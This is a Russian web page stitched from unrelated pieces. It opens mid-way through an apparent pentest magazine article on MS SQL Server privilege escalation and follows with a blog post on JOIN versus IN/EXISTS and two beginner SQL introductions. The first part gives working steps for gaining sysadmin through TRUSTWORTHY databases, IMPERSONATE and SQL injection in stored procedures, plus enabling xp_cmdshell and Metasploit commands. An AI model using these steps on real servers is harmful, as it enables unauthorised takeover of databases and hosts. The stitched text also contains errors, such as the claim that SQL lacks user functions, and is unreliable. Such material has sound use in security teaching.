В предыдущем случае запрос к базе происходил от имени админа, и поэтому было так просто исполнять команды операционной системы. Но что делать, если мы имеем урезанную учетку, у которой не будет прав включить `xp_cmdshell`? В этом случае нам помогут хранимые процедуры и активированное свойство `TRUSTWORTHY` у базы.
Но начнем с самого начала. Для большей наглядности этого вектора опишу весь этап еще на стадии конфигурации базы и учетных записей. Создаем новую базу `YOLO`: `CREATE DATABASE YOLO;`. Создаем нового пользователя `bob` с паролем `marley`: `CREATE LOGIN bob WITH PASSWORD = ‘marley’;` Назначаем пользователя `bob` владельцем базы `YOLO`:
USE YOLO ALTER LOGIN [bob] with default_database = [YOLO]; CREATE USER [bob] FROM LOGIN [bob]; EXEC sp_addrolemember [db_owner], [bob]; Затем устанавливаем свойство `TRUSTWORTHY`, которое определяет, разрешать ли объектам данной базы (представлениям, пользовательским функциям, хранимым процедурам) обращаться к объектам за пределами данной базы в режиме имперсонации: `ALTER DATABASE YOLO SET TRUSTWORTHY ON`. Логинимся в SQL Server под учеткой `bob:marley`. Создаем хранимую процедуру для присвоения учетной записи bob привилегий sysadmin:USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ‘bob’,’sysadmin’ GO Убедимся, что до исполнения хранимой процедуры мы не имеем привилегий sysadmin:SELECT is_srvrolemember(‘sysadmin’) результат = 0 Выполним созданную выше хранимую процедуру `sp_lvlup`:USE YOLO EXEC sp_lvlup И опять проверим наши привилегии:SELECT is_srvrolemember(‘sysadmin’) результат = 1 Процедура `sp_lvlup` создана для запуска от имени `OWNER`, что в данном случае является админской учетной записью `sa`. Это возможно, потому что `db_owner` создал хранимую процедуру для своей базы, а эта база сконфигурирована как надежная, то есть свойство `TRUSTWORTHY = On`. Без этого свойства не удалось бы исполнить процедуру из-за нехватки привилегий. Активированное свойство TRUSTWORTHY — это не всегда плохо. Проблемы начинаются, когда администраторы не понижают привилегии владельцам баз. В итоге учетной записи `bob` после исполнения процедуры `sp_lvlup` присвоены привилегии `sysadmin`. Чтобы посмотреть, у каких баз активировано свойство `TRUSTWORTHY`, можно воспользоваться следующим запросом: SELECT name, database_id, is_trustworthy_on FROM sys.databases
Или для автоматизации всего процесса можно использовать модуль для Метасплоита `mssql_escalate_dbowner_sqli`:
use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];— exploit . [+] 172.16.2.104:80 — Success! Bob is now a sysadmin!
Повышение привилегий. User Impersonation
Следующий вектор имеет название User Impersonation. Иногда хранимым процедурам необходим доступ к внешним ресурсам, находящимся за пределами базы приложения. Чтобы это реализовать, разработчики используют привилегии `IMPERSONATE` и функцию `EXECUTE AS`, позволяющие выполнить запрос от имени другой учетной записи. Это не уязвимость как таковая, а скорее слабая конфигурация, приводящая к эскалации привилегий.
Как и в предыдущем примере, начнем разбирать суть вектора еще на стадии конфигурации. Первым делом создаем четыре учетные записи:
CREATE LOGIN User1 WITH PASSWORD = ‘secret’; CREATE LOGIN User2 WITH PASSWORD = ‘secret’; CREATE LOGIN User3 WITH PASSWORD = ‘secret’; CREATE LOGIN User4 WITH PASSWORD = ‘secret’; Затем даем пользователю `User1` привилегии исполнять запросы от имени `sa`, `User2`, `User3`:USE master; GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; GO Логинимся в SQL Server под учетной записью `User1` и проверяем, применились ли привилегии исполнять запросы от других учетных записей.SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ‘IMPERSONATE’ Теперь проверим текущие привилегии:SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER(‘sysadmin’) Результат = 0 Ну а сейчас собственно сам трюк — выполним запрос от имени `sa`, так как выше мы дали привилегии учетной записи `User1` выполнять запросы от имени `sa`:EXECUTE AS LOGIN = ‘sa’ SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER(‘sysadmin’) Результат = 1 Все в порядке, теперь можем выполнять команды от имени `sa`, а значит, можно включить хранимую процедуру `xp_cmdshell`:EXEC sp_configure ‘show advanced options’,1 RECONFIGURE GO EXEC sp_configure ‘xp_cmdshell’,1 RECONFIGURE GO
INFO
Учетная запись `sysadmin` по умолчанию может выполнять запросы от имени любых других пользователей. Вывести таблицу со всеми пользователями тебе поможет запрос: `SELECT * FROM master.sys.sysusers WHERE islogin = 1`. Для выполнения запроса от имени другой учетной записи используй `EXECUTE AS LOGIN = ‘AnyUser’`. Чтобы вернуться снова к предыдущей учетной записи, достаточно выполнить запрос `REVERT`. Вот и весь фокус. Для автоматизации, как обычно, можно воспользоваться модулем Метасплоита `mssql_escalate_executeas_sqli`:use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];— exploit . [+] 172.16.2.104:80 — Success! User1 is now a sysadmin!
Повышение привилегий. Хранимые процедуры, подписанные сертификатом
- свойство `TRUSTWORTHY = On`;
- привилегии `IMPERSONATE` и функция `EXECUTE AS`;
- конфигурация хранимой процедуры с классом `WITH EXECUTE AS` для ее выполнения от имени другой учетной записи.
Рис. 3. Результат выполнения запроса EXEC MASTER.dbo.sp_xxx ‘master’
Запрос вида `EXEC MASTER.dbo.sp_sqli2 ‘master»—‘` вернет уже только `master` (см. рис. 4).
Рис .4. Результат выполнения запроса EXEC MASTER.dbo.xxx ‘master»—‘
Отлично. Это означает, что хранимая процедура подвержена SQL-инъекции. Проверим наши привилегии с помощью следующего запроса:
EXEC MASTER.dbo.sp_xxx ‘master»;SELECT is_srvrolemember(»sysadmin»)as priv_certsp—‘; Рис. 5. Проверяем наши привилегии через уязвимую хранимую процедуру
`priv_cersp=1`(см. рис. 5) означает, что мы имеем привилегии sysadmin. Выполнить команду `EXEC master..xp_cmdshell ‘whoami’;` не получится, потому что у учетной записи `tor` минимальные права, но если этот запрос внедрить в SQL-инъекцию, то все сработает (рис. 6).
Рис.6. Проверяем свои привилегии в системе
Что самое интересное, такой трюк будет работать в версиях 2005–2014.
Заключение
Разница во всех этих векторах весьма существенна. В некоторых случаях для достижения цели можно ограничиться включенным свойством `TRUSTWORTHY`, позволяющим использовать ресурсы данной базы объектам, находящимся вне, для того чтобы создать и исполнить хранимую процедуру, повышающую привилегии. Где-то можно выполнять хранимые процедуры от имени других учетных записей благодаря наличию привилегий `IMPERSONATE` и функции `EXECUTE AS`, а в третьих случаях важно лишь наличие SQL-инъекции, через которую можно внедрить запрос, и он будет исполнен от имени другой учетной записи. Для полного понимания нюансов и тонкостей я бы советовал проверить эти векторы на своей локальной машине.
В статье не дано исчерпывающее изложение всех векторов атак на СУБД MS SQL, но для поверхностного анализа защищенности она будет весьма полезна. Также рекомендую ознакомиться с другим вектором взлома через DB link’и, который описал Алексей Тюрин в декабрьском номере ][ (#191) в разделе Easy Hack. На этом все, благодарю за внимание и до новых встреч.
Впервые опубликовано в журнале «Хакер» от 04/2015. Автор: Никита «ir0n» Келесис, Digital Security (@nkelesis, [email protected])
Подпишись на «Хакер»
SQL optimization. Join против In и Exists. Что использовать?
«Раньше было проще» — Подумал я, садясь за оптимизацию очередного запроса в SQL management studio. Когда я писал под MySQL, реально все было проще — или работает, или нет. Или тормозит или нет. Explain решал все мои проблемы, больше ничего не требовалось. Сейчас у меня есть мощная среда разработки, отладки и оптимизации запросов и процедур/функций, и все это нагромождение создает по-моему только больше проблем. А все почему? Потому что встроенный оптимизатор запросов — зло. Если в MySQL и PostgreSQL я напишу
select * from a, b, c where a.id = b.id, b.id = c.id
и в каждой из табличек будет хотя бы по 5к строк — все зависнет. И слава богу! Потому что иначе в разработчике, в лучшем случае, вырабатывается ленность писать правильно, а в худшем он вообще не понимает что делает! Ведь этот же запрос в MSSQL пройдет аналогично
select * from a join b on a.id = b.id join c on b.id = c.id
Встроенный оптимизатор причешет быдлозапрос и все будет окей.
Он так же сам решит, что лучше делать — exist или join и еще много чего. И все будет работать максимально оптимально.
Только есть одно НО. В один прекрасный момент оптимизатор споткнется о сложный запрос и спасует, и тогда вы получите большущую проблему. И получите вы ее, возможно, не сразу, а когда вес таблиц достигнет критической массы.
Так вот к сути статьи. exists и in — очень тяжелые операции. Фактически это отдельный подзапрос для каждой строчки результата. А если еще и присутствует вложенность, то это вообще туши свет. Все будет окей, когда возвращается 1, 10, 50 строк. Вы не почувствуете разницы, а возможно join будет даже медленнее. Но когда вытаскивается 500 — начнутся проблемы. 500 подзапросов в рамках одного запроса — это серьезно.
Пусть с точки зрения человеческого понимания in и exists лучше, но с точки зрения временных затрат для запросов, возвращающих 50+ строк — они не допустимы.
Нужно оговориться, что естественно, если где-то убывает — где-то должно прибывать. Да, join более ресурсоемок по памяти, ведь держать единовременно всю таблицу значений и оперировать ею — накладнее, чем дергать подзапросы для каждой строки, быстро освобождая память. Нужно смотреть конкретно по запросу и замерять — критично ли будет использование лишней памяти в угоду времени или нет.
Приведу примеры полных аналогий. Вообще говоря, я не встречал еще запросов такой степени сложности, которые не могли бы быть раскручены в каскад join’ов. Пусть на это уйдет день, но все можно раскрыть.
select * from a where a.id in (select id from b) select * from a where exists (select top 1 1 from b where b.id = a.id) select * from a join b on a.id = b.id select * from a where a.id not in (select id from b) select * from a where not exists (select top 1 1 from b where b.id = a.id) select * from a left join b on a.id = b.id where b.id is null
Повторюсь — данные примеры MSSQL оптимизатор оптимизирует под максимальную производительность и на таких простейших запросах тупняков не будет никогда.
Рассмотрим теперь пример реального запроса, который пришлось переписывать из-за того что на некоторых выборках он просто намертво зависал (структура очень упрощена и понятия заменены, не нужно пугаться некоей не оптимальности структуры бд).
Нужно вытащить все дубликаты «продуктов» в разных аккаунтах, ориентируясь на параметры продукта, его группы, и группы-родителя, если таковая есть.
select d.PRODUCT_ID from PRODUCT s, PRODUCT_GROUP sg left join M_PG_DEPENDENCY sd on (sg.PRODUCT_GROUP_ID = sd.M_PG_DEPENDENCY_CHILD_ID), PRODUCT d, PRODUCT_GROUP dg left join M_PG_DEPENDENCY dd on (dg.PRODUCT_GROUP_ID = dd.M_PG_DEPENDENCY_CHILD_ID) where s.PRODUCT_GROUP_ID=sg.PRODUCT_GROUP_ID and d.PRODUCT_GROUP_ID=dg.PRODUCT_GROUP_ID and sg.PRODUCT_GROUP_PERSPEC=dg.PRODUCT_GROUP_PERSPEC and sg.PRODUCT_GROUP_NAME=dg.PRODUCT_GROUP_NAME and s.PRODUCT_NAME=d.PRODUCT_NAME and s.PRODUCT_TYPE=d.PRODUCT_TYPE and s.PRODUCT_IS_SECURE=d.PRODUCT_IS_SECURE and s.PRODUCT_MULTISELECT=d.PRODUCT_MULTISELECT and dg.PRODUCT_GROUP_IS_TMPL=0 and ( ( sd.M_PG_DEPENDENCY_CHILD_ID is null and dd.M_PG_DEPENDENCY_CHILD_ID is null ) or exists ( select 1 from PRODUCT_GROUP sg1, PRODUCT_GROUP dg1 where sd.M_PG_DEPENDENCY_PARENT_ID = sg1.PRODUCT_GROUP_ID and dd.M_PG_DEPENDENCY_PARENT_ID = dg1.PRODUCT_GROUP_ID and sg1.PRODUCT_GROUP_PERSPEC=dg1.PRODUCT_GROUP_PERSPEC and sg1.PRODUCT_GROUP_NAME=dg1.PRODUCT_GROUP_NAME and ) )
Так вот это тот случай, когда оптимизатор спасовал. И для каждой строчки выполнялся тяжеленный exists, что убивало базу.
select d.PRODUCT_ID from PRODUCT s join PRODUCT d on s.PRODUCT_TYPE=d.PRODUCT_TYPE and s.PRODUCT_NAME=d.PRODUCT_NAME and s.PRODUCT_IS_SECURE=d.PRODUCT_IS_SECURE and s.PRODUCT_MULTISELECT=d.PRODUCT_MULTISELECT join PRODUCT_GROUP sg on s.PRODUCT_GROUP_ID=sg.PRODUCT_GROUP_ID join PRODUCT_GROUP dg on d.PRODUCT_GROUP_ID=dg.PRODUCT_GROUP_ID and sg.PRODUCT_GROUP_NAME=dg.PRODUCT_GROUP_NAME and sg.PRODUCT_GROUP_PERSPEC=dg.PRODUCT_GROUP_PERSPEC left join M_PG_DEPENDENCY sd on sg.PRODUCT_GROUP_ID = sd.M_PG_DEPENDENCY_CHILD_ID left join M_PG_DEPENDENCY dd on dg.PRODUCT_GROUP_ID = dd.M_PG_DEPENDENCY_CHILD_ID left join PRODUCT_GROUP sgp on sgp.PRODUCT_GROUP_ID = sd.M_PG_DEPENDENCY_PARENT_ID left join PRODUCT_GROUP dgp on dgp.PRODUCT_GROUP_ID = dd.M_PG_DEPENDENCY_PARENT_ID and sgp.PRODUCT_GROUP_NAME = dgp.PRODUCT_GROUP_NAME and isnull(sgp.PRODUCT_GROUP_IS_TMPL, 0) = isnull(dgp.PRODUCT_GROUP_IS_TMPL, 0) where ( sd.M_PG_DEPENDENCY_CHILD_ID is null and dd.M_PG_DEPENDENCY_CHILD_ID is null ) or ( sgp.PRODUCT_GROUP_NAME is not null and dgp.PRODUCT_GROUP_NAME is not null ) go
После данных преобразований производительность вьюхи увеличилась экспоненциально количеству найденных продуктов. Вернее сказать, время поиска оставалось практически независимым от числа совпадений и было всегда очень маленьким. Как и должно быть.
Это наглядный пример того, как доверие MSSQL оптимизатору может сыграть злую шутку. Не доверяйте ему, не ленитесь, join’те ручками, каждый раз думайте что лучше в данной ситуации — exists, in или join.
понятие о базах данных для начинающих // Вебшкола онлайн
SQL — это стандартный язык доступа и управления базами данных (БД).
Управление данными с помощью SQL
Структурированный Язык запросов (Structured Query Language —SQL) — это стандартный язык доступа к БД, таким как SQL Server, Oracle, MySQL, Sybase и Access. Знание SQL необходимо всем, кто хотел бы хранить и извлекать данные из БД.
Что такое SQL?
- SQL — Структурированный Язык запросов (Structured Query Language —SQL)
- SQL позволяет вам получить доступ к БД
- SQL является компьютерным языком, основанным на стандарте ANSI
- SQL может посылать запросы в БД
- SQL может извлекать данные из БД
- SQL может вносить новые записи в БД
- SQL может удалять записи из БД
- SQL может обновлять существующие записи в БД
- SQL легок в изучении
SQL — стандарт, но.
SQL — компьютерный язык, основанный на стандрате ANSI, предназначенный для доступа и управления БД. Команды SQL используются для извлечения и обновления записей в БД. SQL работает с такими системами управления БД (СУБД), как MS Access, DB2, Informix, MS SQL Server, Oracle, Sybase и др.
К несчастью, существует множество версий языка SQL, но для соответствия стандартам ANSI они должны поддерживать основные ключевые слова (такие как SELECT — выбрать, UPDATE — обновить, DELETE — уничтожить, INSERT — вставить, WHERE — где и другие).
Заметка: Многие СУБД имеют свои команды, в дополнение к существующим стандартам SQL.
Таблицы данных SQL
БД чаще всего содержат одну или несколько таблиц. Каждая ячейка идентифицируется по названию (например, «Friends» (Друзья) или «Orders» (Заказы)). Таблицы содержат записи с данными. Ниже представлена таблица, названная «Persons» (Персоны):
| Polyakov | Denis | Lyibyanka, 25 | Moscow |
| Ivanov | Mihail | Sadovaya, 17 | Kazan’ |
| Popandopulo | Ermak | Hutorskay, 4 | Kiev |
Эта таблица состоит из трех строк (люди) и четырех столбцов (фамилия, имя, адрес и город).
SQL-запрос
С помощью SQL мы можем обратиться к БД и получить результат. Например, такой запрос:
SELECT LastName FROM Persons
даст нам следующий результат:
| Polyakov |
| Ivanov |
| Popandopulo |
Заметка: В некоторых СУБД необходимо ставить точку с запятой после команды. Мы не будем ставить точку с запятой в наших примерах.
SQL Data Manipulation Language (DML — язык управления данными)
SQL предназначен для выполнения запросов. Кроме того в SQL входит синтаксис для обновления, вставки и уничтожения данных. Этот синтаксис вместе с командами обновления формирует язык управления данными (DML):
- SELECT — извлекает данные из таблицы БД
- UPDATE — обновляет данные в таблице БД
- DELETE — уничтожает данные в таблице БД
- INSERT INTO — вставляет новые данные в таблицу БД
SQL Data Definition Language (DDL — язык определения данных)
DDL является частью SQL, которая управляет созданием и удалением таблиц в БД, Кроме того, с помощью DDL мы можем назначать индексы (ключевые слова), налаживать взаимосвязи между таблицами и накладывать ограничения на таблицы БД.
Важнейшими командами DDL являются следующие команды:
- CREATE TABLE — создание новой таблицы
- ALTER TABLE — изменение существующей таблицы
- DROP TABLE — удаление таблицы
- CREATE INDEX — создание индекса (ключевого слова для облегчения поиска)
- DROP INDEX — удаление индекса
что это такое, история языка SQL.
SQL — что это, история появления SQL.
Язык SQL был создан в 1974 году. Первым названием было «SEQUEL». Его изменили из-за совпадения названий торговых марок. Официальный стандарт языка приняли:
- в 1986 году – ANSI;
- в 1987 году – ISO.
Изначально язык создавался для пользователя БД. В ходе развития язык стал сложнее. Сейчас он является полноценным инструментом разработчика.
Описание.
По форме использования SQL подразделяется на интерактивный и вложенный. Интерактивный SQL подходит для использования в самой БД. После ввода команды она сразу выполняется, а затем выводится её результат. Вложенный SQL используется внутри программ, написанных на другом языке. К примеру, в программах на PHP часто используются вставки SQL, чтобы оперативно вносить изменения в БД.
Все версии языка SQL поддерживают группу ключевых слов, которые являются основой команд при обращении к данным из базы. Например, с помощью слова «SELECT» во всех версиях можно получить все или конкретные строки из таблицы.
В SQL определены типы данных. С их помощью контролируется правильность заполнения таблиц БД.
Виртуальный хостинг сайтов для популярных CMS:
Преимущества SQL.
Декларативность языка.
Программист указывает, какие операции нужно выполнить, в способ их реализации выбирается автоматически.
Наличие стандартов.
Существование единых стандартов и тестов совместимости способствует стабилизации языка.
Простота адаптации к конкретной СУБД.
Обычно не возникает необходимости в сложных конструкциях для управления БД. Простые формулировки команд легко корректируются при необходимости переноса программы.
Недостатки SQL.
Язык SQL не поддерживает:
- рекурсии;
- циклы;
- пользовательские функции.
Постепенно были разработаны обходные пути для преодоления этих ограничений. Их применение требует наличия опыта у программиста.
Стандарт языка сложен и имеет большой объем. Сейчас существует множество отличающихся между собой реализаций SQL. Из-за этого программы обычно нельзя перенести между системами управления БД без изменения кода.
Из чего состоит SQL?
Язык SQL подразделяется на 4 части.
DDL – язык определения данных.
Состоит из команд создания объектов в БД. С помощью команд DDL создаются новые таблицы, индексы и другие элементы.
DML – язык манипуляции данными.
Включает команды управления данными. Они строятся на основе команд:
- select – для выбора элементов;
- delete – для удаления;
- update – для обновления;
- insert – для вставки данных.
DLC – язык определения контроля доступа к данным.
Включает в себя средства, позволяющие запретить или разрешить пользователю конкретные действия.
TLC – язык управления транзакциями.
Используется для контроля обработки транзакций.